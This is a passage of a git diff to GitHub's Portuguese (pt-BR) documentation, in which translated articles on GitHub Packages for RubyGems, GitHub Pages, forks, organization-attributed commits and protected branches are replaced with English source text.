Bundler and editing your *Gemfile*. + +{% data reusables.package_registry.authenticate-step %} +1. For Bundler, add your {% data variables.product.prodname_dotcom %} user or organization as a source in your *Gemfile* to fetch gems from this new source. For example, you can add a new `source` block to your *Gemfile* that uses {% data variables.product.prodname_registry %} only for the packages you specify, replacing *GEM NAME* with the package you want to install from {% data variables.product.prodname_registry %} and *OWNER* with the user or organization that owns the repository containing the gem you want to install.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}.{% endif %} + + ```ruby + source "https://rubygems.org" + + gem "rails" + + source "https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER" do + gem "GEM NAME" + end + ``` + +3. For Bundler versions earlier than 1.7.0, you need to add a new global `source`. For more information on using Bundler, see the [bundler.io documentation](http://bundler.io/v1.5/gemfile.html). + + ```ruby + source "https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER" + source "https://rubygems.org" + + gem "rails" + gem "GEM NAME" + ``` + +4. Install the package: + ```shell + $ gem install octo-gem --version "0.1.1" + ``` + +## Further reading + +- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/pt-BR/content/pages/getting-started-with-github-pages/about-github-pages.md b/translations/pt-BR/content/pages/getting-started-with-github-pages/about-github-pages.md index 4839ac74a8..dd40cb5a26 100644 --- a/translations/pt-BR/content/pages/getting-started-with-github-pages/about-github-pages.md +++ b/translations/pt-BR/content/pages/getting-started-with-github-pages/about-github-pages.md @@ -1,5 +1,5 @@ --- -title: Sobre o GitHub Pages +title: About GitHub Pages intro: 'You can use {% data variables.product.prodname_pages %} to host a website about yourself, your organization, or your project directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.' redirect_from: - /articles/what-are-github-pages/ @@ -20,107 +20,113 @@ topics: - Pages --- -## Sobre o {% data variables.product.prodname_pages %} +## About {% data variables.product.prodname_pages %} -O {% data variables.product.prodname_pages %} é um serviço de hospedagem de site estático que usa arquivos HTML, CSS e JavaScript diretamente de um repositório no {% data variables.product.product_name %} e, como opção, executa os arquivos por meio de um processo e publica um site. Você pode ver exemplos de sites do {% data variables.product.prodname_pages %} na [coleção de exemplos do {% data variables.product.prodname_pages %}](https://github.com/collections/github-pages-examples). +{% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository on {% data variables.product.product_name %}, optionally runs the files through a build process, and publishes a website. You can see examples of {% data variables.product.prodname_pages %} sites in the [{% data variables.product.prodname_pages %} examples collection](https://github.com/collections/github-pages-examples). {% ifversion fpt or ghec %} -É possível hospedar seu site no domínio `github.io` do {% data variables.product.prodname_dotcom %} ou no seu próprio domínio personalizado. Para obter mais informações, consulte "[Usar um domínio personalizado com o {% data variables.product.prodname_pages %}](/articles/using-a-custom-domain-with-github-pages)". +You can host your site on {% data variables.product.prodname_dotcom %}'s `github.io` domain or your own custom domain. For more information, see "[Using a custom domain with {% data variables.product.prodname_pages %}](/articles/using-a-custom-domain-with-github-pages)." {% endif %} {% ifversion fpt or ghec %} -{% data reusables.pages.about-private-publishing %} Para obter mais informações, consulte "[Alterar a visibilidade do seu site de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)." +{% data reusables.pages.about-private-publishing %} For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)." {% endif %} -Para começar, consulte "[Criar um site do {% data variables.product.prodname_pages %}](/articles/creating-a-github-pages-site)". +To get started, see "[Creating a {% data variables.product.prodname_pages %} site](/articles/creating-a-github-pages-site)." {% ifversion fpt or ghes > 3.0 or ghec %} -Os proprietários da organização podem desabilitar a publicação de sites do {% data variables.product.prodname_pages %} nos repositórios da organização. Para obter mais informações, consulte "[Gerenciar a publicação de sites de {% data variables.product.prodname_pages %} para a sua organização](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)". +Organization owners can disable the publication of {% data variables.product.prodname_pages %} sites from the organization's repositories. For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." {% endif %} -## Tipos de site do {% data variables.product.prodname_pages %} +## Types of {% data variables.product.prodname_pages %} sites -Há três tipos de site do {% data variables.product.prodname_pages %}: projeto, usuário e organização. Os sites de projeto são conectados a um projeto específico hospedado no {% data variables.product.product_name %}, como uma biblioteca do JavaScript ou um conjunto de receitas. User and organization sites are connected to a specific account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. +There are three types of {% data variables.product.prodname_pages %} sites: project, user, and organization. Project sites are connected to a specific project hosted on {% data variables.product.product_name %}, such as a JavaScript library or a recipe collection. User and organization sites are connected to a specific account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. -Para publicar um site de usuário, você deve criar um repositório pertencente à sua conta de usuário denominada {% ifversion fpt or ghec %}`. ithub.io`{% else %}`.`{% endif %}. Para publicar um site de organização, você deve criar um repositório pertencente a uma organização que se chama {% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %}. {% ifversion fpt or ghec %}A menos que você esteja usando um domínio personalizado, os sites de usuário e organização estarão disponíveis em `http(s)://.github.io` ou `http(s)://.github.io`.{% elsif ghae %}Sites de usuário e organização estão disponíveis em `http(s)://pages./` ou `http(s)://pages./`.{% endif %} +To publish a user site, you must create a repository owned by your user account that's named {% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %}. To publish an organization site, you must create a repository owned by an organization that's named {% ifversion fpt or ghec %}`.github.io`{% else %}`.`{% endif %}. {% ifversion fpt or ghec %}Unless you're using a custom domain, user and organization sites are available at `http(s)://.github.io` or `http(s)://.github.io`.{% elsif ghae %}User and organization sites are available at `http(s)://pages./` or `http(s)://pages./`.{% endif %} -Os arquivos de origem de um site de projeto são armazenados no mesmo repositório que o respectivo projeto. {% ifversion fpt or ghec %}A menos que você esteja usando um domínio personalizado, os sites de projeto estão disponíveis em `http(s)://.github.io/` ou `http(s)://.github.io/`.{% elsif ghae %}Os sites de projeto estão disponíveis em `http(s)://pages.///` ou `http(s)://pages.///`.{% endif %} +The source files for a project site are stored in the same repository as their project. {% ifversion fpt or ghec %}Unless you're using a custom domain, project sites are available at `http(s)://.github.io/` or `http(s)://.github.io/`.{% elsif ghae %}Project sites are available at `http(s)://pages.///` or `http(s)://pages.///`.{% endif %} {% ifversion fpt or ghec %} -Se você publicar seu site em particularmente, a URL do seu site será diferente. Para obter mais informações, consulte "[Alterar a visibilidade do seu site de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)." +If you publish your site privately, the URL for your site will be different. For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)." {% endif %} {% ifversion fpt or ghec %} -Para obter mais informações sobre como os domínios personalizados afetam o URL do seu site, consulte "[Sobre domínios personalizados e {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)". +For more information about how custom domains affect the URL for your site, see "[About custom domains and {% data variables.product.prodname_pages %}](/articles/about-custom-domains-and-github-pages)." {% endif %} -Você só pode criar um site de usuário ou organização para cada conta em {% data variables.product.product_name %}. Os sites de projeto, sejam eles de uma conta de organização ou de usuário, são ilimitados. +You can only create one user or organization site for each account on {% data variables.product.product_name %}. Project sites, whether owned by an organization or a user account, are unlimited. {% ifversion ghes %} -O URL onde o site estará disponível depende da habilitação do isolamento do subdomínio para o {% data variables.product.product_location %}. +The URL where your site is available depends on whether subdomain isolation is enabled for {% data variables.product.product_location %}. -| Tipo de site | Isolamento de subdomínio habilitado | Isolamento de subdomínio desabilitado | -| ------------ | ----------------------------------- | ------------------------------------- | -| | | | - Usuário | +| Type of site | Subdomain isolation enabled | Subdomain isolation disabled | +| ------------ | --------------------------- | ---------------------------- | +User | `http(s)://pages./` | `http(s):///pages/` | +Organization | `http(s)://pages./` | `http(s):///pages/` | +Project site owned by user account | `http(s)://pages.///` | `http(s):///pages///` +Project site owned by organization account | `http(s)://pages.///` | `http(s):///pages///` -`http(s)://pages./` | `http(s):///pages/` | Organization | `http(s)://pages./` | `http(s):///pages/` | Site do projeto pertencente a uma conta do usuário | `http(s)://pages.///` | `http(s):///pages///` Site do projeto pertencente a uma conta da organização | `http(s)://pages.///` | `http(s):///pages///` - -Para obter mais informações, consulte "[Habilitar isolamento de subdomínio](/enterprise/{{ currentVersion }}/admin/installation/enabling-subdomain-isolation)" ou entre em contato com o administrador do site. +For more information, see "[Enabling subdomain isolation](/enterprise/{{ currentVersion }}/admin/installation/enabling-subdomain-isolation)" or contact your site administrator. {% endif %} -## Publicar fontes para sites do {% data variables.product.prodname_pages %} +## Publishing sources for {% data variables.product.prodname_pages %} sites -A fonte de publicação do seu site de {% data variables.product.prodname_pages %} é o branch e a pasta onde os arquivos de origem do seu site são armazenados. +The publishing source for your {% data variables.product.prodname_pages %} site is the branch and folder where the source files for your site are stored. {% data reusables.pages.private_pages_are_public_warning %} -Se existir uma fonte de publicação padrão no repositório, o {% data variables.product.prodname_pages %} publicará automaticamente um site a partir dessa fonte. A fonte de publicação padrão para sites de usuário e organização é a raiz do branch-padrão do repositório. A fonte de publicação padrão para sites de projeto é a raiz do branch `gh-pages`. +If the default publishing source exists in your repository, {% data variables.product.prodname_pages %} will automatically publish a site from that source. The default publishing source for user and organization sites is the root of the default branch for the repository. The default publishing source for project sites is the root of the `gh-pages` branch. -Se você desejar manter os arquivos de origem do seu site em outro local, você poderá alterar a fonte de publicação do seu site. É possível publicar o site a partir de qualquer branch no repositório, a partir da raiz do repositório nesse branch, `/` ou a partir da pasta `/docs` nesse branch. Para obter mais informações, consulte "[Configurar uma fonte de publicação para seu site do {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-your-github-pages-site#choosing-a-publishing-source)". +If you want to keep the source files for your site in a different location, you can change the publishing source for your site. You can publish your site from any branch in the repository, either from the root of the repository on that branch, `/`, or from the `/docs` folder on that branch. For more information, see "[Configuring a publishing source for your {% data variables.product.prodname_pages %} site](/articles/configuring-a-publishing-source-for-your-github-pages-site#choosing-a-publishing-source)." -Se você escolher a pasta `/docs` de qualquer branch como a fonte de publicação, o {% data variables.product.prodname_pages %} lerá tudo a ser publicado no seu site{% ifversion fpt or ghec %}, inclusive o arquivo _CNAME_,{% endif %} na pasta `/docs`.{% ifversion fpt or ghec %} Por exemplo, quando você edita o domínio personalizado usando as configurações do {% data variables.product.prodname_pages %}, o domínio personalizado grava em `/docs/CNAME`. Para obter mais informações sobre arquivos _CNAME_, consulte "[Gerenciar um domínio personalizado para seu site do {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site)".{% endif %} +If you choose the `/docs` folder of any branch as your publishing source, {% data variables.product.prodname_pages %} will read everything to publish your site{% ifversion fpt or ghec %}, including the _CNAME_ file,{% endif %} from the `/docs` folder.{% ifversion fpt or ghec %} For example, when you edit your custom domain through the {% data variables.product.prodname_pages %} settings, the custom domain will write to `/docs/CNAME`. For more information about _CNAME_ files, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %} -## Geradores de site estáticos +## Static site generators -O {% data variables.product.prodname_pages %} publica qualquer arquivo estático do qual você faz push no repositório. É possível criar seus próprios arquivos estáticos ou usar um gerador de site estático para que ele crie o site para você. Também pode personalizar seu próprio processo de criação localmente ou em outro servidor. É recomendável usar o Jekyll, um gerador de site estático com suporte integrado para {% data variables.product.prodname_pages %} e um processo de compilação simplificado. Para obter mais informações, consulte "[Sobre o {% data variables.product.prodname_pages %} e o JJekyll](/articles/about-github-pages-and-jekyll)". +{% data variables.product.prodname_pages %} publishes any static files that you push to your repository. You can create your own static files or use a static site generator to build your site for you. You can also customize your own build process locally or on another server. We recommend Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %} and a simplified build process. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)." -O {% data variables.product.prodname_pages %} usará o Jekyll para criar seu site por padrão. Se quiser usar um gerador de site estático diferente do Jekyll, desabilite o processo de compilação do Jekyll criando um arquivo vazio chamado `.nojekyll` na raiz da fonte de publicação e siga as instruções do gerador de site estático para criar seu site localmente. +{% data variables.product.prodname_pages %} will use Jekyll to build your site by default. If you want to use a static site generator other than Jekyll, disable the Jekyll build process by creating an empty file called `.nojekyll` in the root of your publishing source, then follow your static site generator's instructions to build your site locally. -O {% data variables.product.prodname_pages %} não aceita linguagens de servidor como PHP, Ruby ou Python. +{% data variables.product.prodname_pages %} does not support server-side languages such as PHP, Ruby, or Python. ## Limits on use of {% data variables.product.prodname_pages %} {% ifversion fpt or ghec %} -Os sites do {% data variables.product.prodname_pages %} criados após 15 de junho e que usam domínios do `github.io` são disponibilizados por HTTPS. Se você criou seu site ante de 15 de junho de 2016, é possível habilitar o suporte ao HTTPS para tráfego no seu site. Para obter mais informações, consulte "[Proteger seu {% data variables.product.prodname_pages %} com HTTPS](/articles/securing-your-github-pages-site-with-https)". +{% data variables.product.prodname_pages %} sites created after June 15, 2016 and using `github.io` domains are served over HTTPS. If you created your site before June 15, 2016, you can enable HTTPS support for traffic to your site. For more information, see "[Securing your {% data variables.product.prodname_pages %} with HTTPS](/articles/securing-your-github-pages-site-with-https)." -### Usos proibidos +### Prohibited uses {% endif %} -O {% data variables.product.prodname_pages %} não foi projetado e nem tem permissão para ser usado como um serviço de hospedagem gratuita na web, capaz de administrar sua empresa online, seu site de comércio eletrônico ou qualquer outro site desenvolvido principalmente para facilitar transações comerciais ou fornecer software comercial como um serviço (SaaS). {% data reusables.pages.no_sensitive_data_pages %} +{% data variables.product.prodname_pages %} is not intended for or allowed to be used as a free web hosting service to run your online business, e-commerce site, or any other website that is primarily directed at either facilitating commercial transactions or providing commercial software as a service (SaaS). {% data reusables.pages.no_sensitive_data_pages %} In addition, your use of {% data variables.product.prodname_pages %} is subject to the [GitHub Terms of Service](/free-pro-team@latest/github/site-policy/github-terms-of-service/), including the restrictions on get rich quick schemes, sexually obscene content, and violent or threatening content or activity. -### Limites de uso -Os sites do {% data variables.product.prodname_pages %} estão sujeitos ao seguintes limites de uso: +### Usage limits +{% data variables.product.prodname_pages %} sites are subject to the following usage limits: - - Os repositórios de origem do {% data variables.product.prodname_pages %} têm um limite recomendado de 1 GB.{% ifversion fpt or ghec %} Para obter mais informações, consulte "[Qual é a minha cota de disco?"](/articles/what-is-my-disk-quota/#file-and-repository-size-limitations){% endif %} - - Os sites do {% data variables.product.prodname_pages %} publicados não podem ter mais de 1 GB. + - {% data variables.product.prodname_pages %} source repositories have a recommended limit of 1GB.{% ifversion fpt or ghec %} For more information, see "[What is my disk quota?"](/articles/what-is-my-disk-quota/#file-and-repository-size-limitations){% endif %} + - Published {% data variables.product.prodname_pages %} sites may be no larger than 1 GB. {% ifversion fpt or ghec %} - - Sites de {% data variables.product.prodname_pages %} têm um limite de banda larga *flexível* de 100 GB por mês. - - Os sites do {% data variables.product.prodname_pages %} têm um limite *flexível* de 10 compilações por hora. + - {% data variables.product.prodname_pages %} sites have a *soft* bandwidth limit of 100GB per month. + - {% data variables.product.prodname_pages %} sites have a *soft* limit of 10 builds per hour. -Se o seu site exceder essas cotas de uso, talvez não possamos atender a ele ou você receba um e-mail formal do {% data variables.contact.contact_support %} sugerindo estratégias para reduzir o impacto do site em nossos servidores, como colocar uma rede de distribuição de conteúdo (CDN, Content Distribution Network) de terceiros na frente do site, usar outros recursos do {% data variables.product.prodname_dotcom %}, como versões, ou migrar para outro serviço de hospedagem que possa atender melhor às suas necessidades. +If your site exceeds these usage quotas, we may not be able to serve your site, or you may receive a polite email from {% data variables.contact.contact_support %} suggesting strategies for reducing your site's impact on our servers, including putting a third-party content distribution network (CDN) in front of your site, making use of other {% data variables.product.prodname_dotcom %} features such as releases, or moving to a different hosting service that might better fit your needs. {% endif %} -## Tipos de MIME no {% data variables.product.prodname_pages %} +## MIME types on {% data variables.product.prodname_pages %} -Um tipo de MIME é um header que um servidor envia a um navegador, fornecendo informações sobre a natureza e o formato dos arquivos que o navegador solicitou. O {% data variables.product.prodname_pages %} aceita mais de 750 tipos de MIME entre milhares de extensões de arquivo. A lista de tipos de MIME compatíveis é gerada do [projeto mime-db](https://github.com/jshttp/mime-db). +A MIME type is a header that a server sends to a browser, providing information about the nature and format of the files the browser requested. {% data variables.product.prodname_pages %} supports more than 750 MIME types across thousands of file extensions. The list of supported MIME types is generated from the [mime-db project](https://github.com/jshttp/mime-db). -Embora não seja possível especificar tipos de MIME personalizados por arquivo ou repositório, você pode adicionar ou modificar tipos de MIME para uso no {% data variables.product.prodname_pages %}. Para obter mais informações, consulte [as diretrizes de contribuição do mime-db](https://github.com/jshttp/mime-db#adding-custom-media-types). +While you can't specify custom MIME types on a per-file or per-repository basis, you can add or modify MIME types for use on {% data variables.product.prodname_pages %}. For more information, see [the mime-db contributing guidelines](https://github.com/jshttp/mime-db#adding-custom-media-types). -## Leia mais +{% ifversion fpt %} +## Data collection -- [{% data variables.product.prodname_pages %}](https://lab.github.com/githubtraining/github-pages) em {% data variables.product.prodname_learning %} +When a {% data variables.product.prodname_pages %} site is visited, the visitor's IP address is logged and stored for security purposes, regardless of whether the visitor has signed into {% data variables.product.prodname_dotcom %} or not. For more information about {% data variables.product.prodname_dotcom %}'s security practices, see {% data variables.product.prodname_dotcom %} Privacy Statement. +{% endif %} + +## Further reading + +- [{% data variables.product.prodname_pages %}](https://lab.github.com/githubtraining/github-pages) on {% data variables.product.prodname_learning %} - "[{% data variables.product.prodname_pages %}](/rest/reference/repos#pages)" diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md index 4bca185ea4..6e91cda0c6 100644 --- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md +++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md @@ -35,7 +35,7 @@ In open source projects, forks are often used to iterate on ideas or changes bef {% data reusables.repositories.private_forks_inherit_permissions %} -If you want to create a new repository from the contents of an existing repository but don't want to merge your changes upstream in the future, you can duplicate the repository or, if the repository is a template, use the repository as a template. For more information, see "[Duplicating a repository](/articles/duplicating-a-repository)" and "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)". +If you want to create a new repository from the contents of an existing repository but don't want to merge your changes to the upstream in the future, you can duplicate the repository or, if the repository is a template, you can use the repository as a template. For more information, see "[Duplicating a repository](/articles/duplicating-a-repository)" and "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)". ## Further reading diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md index d71fb84226..9d9b203f5a 100644 --- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md +++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md @@ -60,15 +60,11 @@ If a private repository is made public and then deleted, its private forks will {% endif %} -{% ifversion fpt or ghae or ghes or ghec %} +{% ifversion ghes or ghec or ghae %} ## Changing the visibility of an internal repository -{% note %} -**Note:** {% data reusables.gated-features.internal-repos %} - -{% endnote %} If the policy for your enterprise permits forking, any fork of an internal repository will be private. If you change the visibility of an internal repository, any fork owned by an organization or user account will remain private. diff --git a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md index 71f0039cd5..a7082678b8 100644 --- a/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md +++ b/translations/pt-BR/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md @@ -1,6 +1,6 @@ --- -title: Criar um commit em nome de uma organização -intro: 'Você pode criar commits em nome de uma organização adicionando um trailer à mensagem do commit. Os commits atribuídos a uma organização incluem um selo "em nome de" no {% data variables.product.product_name %}.' +title: Creating a commit on behalf of an organization +intro: 'You can create commits on behalf of an organization by adding a trailer to the commit''s message. Commits attributed to an organization include an `on-behalf-of` badge on {% data variables.product.product_name %}.' redirect_from: - /articles/creating-a-commit-on-behalf-of-an-organization - /github/committing-changes-to-your-project/creating-a-commit-on-behalf-of-an-organization @@ -8,29 +8,28 @@ redirect_from: versions: fpt: '*' ghec: '*' -shortTitle: Em nome de uma organização +shortTitle: On behalf of an organization --- - {% note %} -**Observação:** a capacidade de criar um commit em nome de uma organização, atualmente, está em versão beta pública e sujeita a alterações. +**Note:** The ability to create a commit on behalf of an organization is currently in public beta and is subject to change. {% endnote %} -Para criar commits em nome de uma organização: +To create commits on behalf of an organization: -- você deve ser um integrante da organização indicado no trailer -- você deve assinar o commit -- o e-mail do seu commit e o e-mail da organização devem estar em um domínio verificado pela organização -- sua mensagem do commit deve terminar com o trailer do commit `on-behalf-of: @org ` - - `org` é o login da organização - - `name@organization.com` está no domínio da organização +- you must be a member of the organization indicated in the trailer +- you must sign the commit +- your commit email and the organization email must be in a domain verified by the organization +- your commit message must end with the commit trailer `on-behalf-of: @org ` + - `org` is the organization's login + - `name@organization.com` is in the organization's domain -A organização pode usar o e-mail `name@organization.com` como um ponto público de contato para esforços de código aberto. +Organizations can use the `name@organization.com` email as a public point of contact for open source efforts. -## Criar commits com um selo `on-behalf-of` na linha de comando +## Creating commits with an `on-behalf-of` badge on the command line -1. Digite sua mensagem de commit e uma descrição curta e significativa de suas alterações. Depois da descrição do commit, em vez de inserir aspas para encerrar, adicione duas linhas vazias. +1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines. ```shell $ git commit -m "Refactor usability tests. > @@ -38,11 +37,11 @@ A organização pode usar o e-mail `name@organization.com` como um ponto públic ``` {% tip %} - **Dica:** Se você estiver usando um editor de texto na linha de comando para digitar sua mensagem de commit, certifique-se de que existem duas novas linhas entre o final da sua descrição do commit e o indicador `on-behalf-of:`. + **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `on-behalf-of:` commit trailer. {% endtip %} -2. Na próxima linha da mensagem do commit, digite `on-behalf-of: @org ` e, em seguida, aspas de fechamento. +2. On the next line of the commit message, type `on-behalf-of: @org `, then a closing quotation mark. ```shell $ git commit -m "Refactor usability tests. @@ -51,24 +50,25 @@ A organização pode usar o e-mail `name@organization.com` como um ponto públic on-behalf-of: @org <name@organization.com>" ``` -O novo commit, mensagem e selo aparecerão no {% data variables.product.product_location %} na próxima vez que você fizer push. Para obter mais informações, consulte "[Fazer push das alterações em um repositório remoto](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)". +The new commit, message, and badge will appear on {% data variables.product.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)." -## Criar commits com um selo `on-behalf-of` no {% data variables.product.product_name %} +## Creating commits with an `on-behalf-of` badge on {% data variables.product.product_name %} -Depois que fizer alterações em um arquivo usando um editor web no {% data variables.product.product_name %}, você poderá criar um commit em nome da sua organização adicionando um trailer `on-behalf-of:` à mensagem do commit. +After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a commit on behalf of your organization by adding an `on-behalf-of:` trailer to the commit's message. -1. Depois de fazer as alterações, na parte inferior da página, digite uma mensagem de commit curta e significativa que descreve as alterações feitas. ![Mensagem do commit para sua alteração](/assets/images/help/repository/write-commit-message-quick-pull.png) +1. After making your changes, at the bottom of the page, type a short, meaningful commit message that describes the changes you made. + ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png) -2. Na caixa de texto abaixo da mensagem do commit, adicione `on-behalf-of: @org `. +2. In the text box below your commit message, add `on-behalf-of: @org `. - ![Exemplo de trailer on-behalf-of da mensagem do commit na segunda caixa de texto da mensagem do commit](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png) -4. Clique em **Commit changes** (Fazer commit de alterações) ou **Propose changes** (Propor alterações). + ![Commit message on-behalf-of trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png) +4. Click **Commit changes** or **Propose changes**. -O novo commit, mensagem e selo aparecerão no {% data variables.product.product_location %}. +The new commit, message, and badge will appear on {% data variables.product.product_location %}. -## Leia mais +## Further reading -- "[Exibir contribuições no perfil](/articles/viewing-contributions-on-your-profile)" -- "[Por que minhas contribuições não aparecem no meu perfil?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)" -- "[Exibir contribuidores de um projeto](/articles/viewing-a-projects-contributors)" -- "[Alterar uma mensagem do commit](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)" +- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)" +- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)" +- "[Viewing a project’s contributors](/articles/viewing-a-projects-contributors)" +- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)" diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md index 6353932fb4..c4be3a9f2a 100644 --- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md +++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md @@ -42,7 +42,7 @@ By default, the restrictions of a branch protection rule don't apply to people w For each branch protection rule, you can choose to enable or disable the following settings. - [Require pull request reviews before merging](#require-pull-request-reviews-before-merging) - [Require status checks before merging](#require-status-checks-before-merging) -{% ifversion fpt or ghes > 3.1 or ghae-issue-4382 or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - [Require conversation resolution before merging](#require-conversation-resolution-before-merging){% endif %} - [Require signed commits](#require-signed-commits) - [Require linear history](#require-linear-history) @@ -99,7 +99,7 @@ You can set up required status checks to either be "loose" or "strict." The type For troubleshooting information, see "[Troubleshooting required status checks](/github/administering-a-repository/troubleshooting-required-status-checks)." -{% ifversion fpt or ghes > 3.1 or ghae-issue-4382 or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} ### Require conversation resolution before merging Requires all comments on the pull request to be resolved before it can be merged to a protected branch. This ensures that all comments are addressed or acknowledged before merge. diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md index af1d2efaca..0209187eda 100644 --- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md +++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md @@ -80,7 +80,7 @@ When you create a branch rule, the branch you specify doesn't have to exist yet ![Loose or strict required status checkbox](/assets/images/help/repository/protecting-branch-loose-status.png) - Search for status checks, selecting the checks you want to require. ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png) -{%- ifversion fpt or ghes > 3.1 or ghae-issue-4382 %} +{%- ifversion fpt or ghes > 3.1 or ghae-next %} 1. Optionally, select **Require conversation resolution before merging**. ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png) {%- endif %} diff --git a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md index 671b0e2809..fd64a80a81 100644 --- a/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md +++ b/translations/pt-BR/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md @@ -38,11 +38,79 @@ remote: error: Required status check "ci-build" is failing {% ifversion 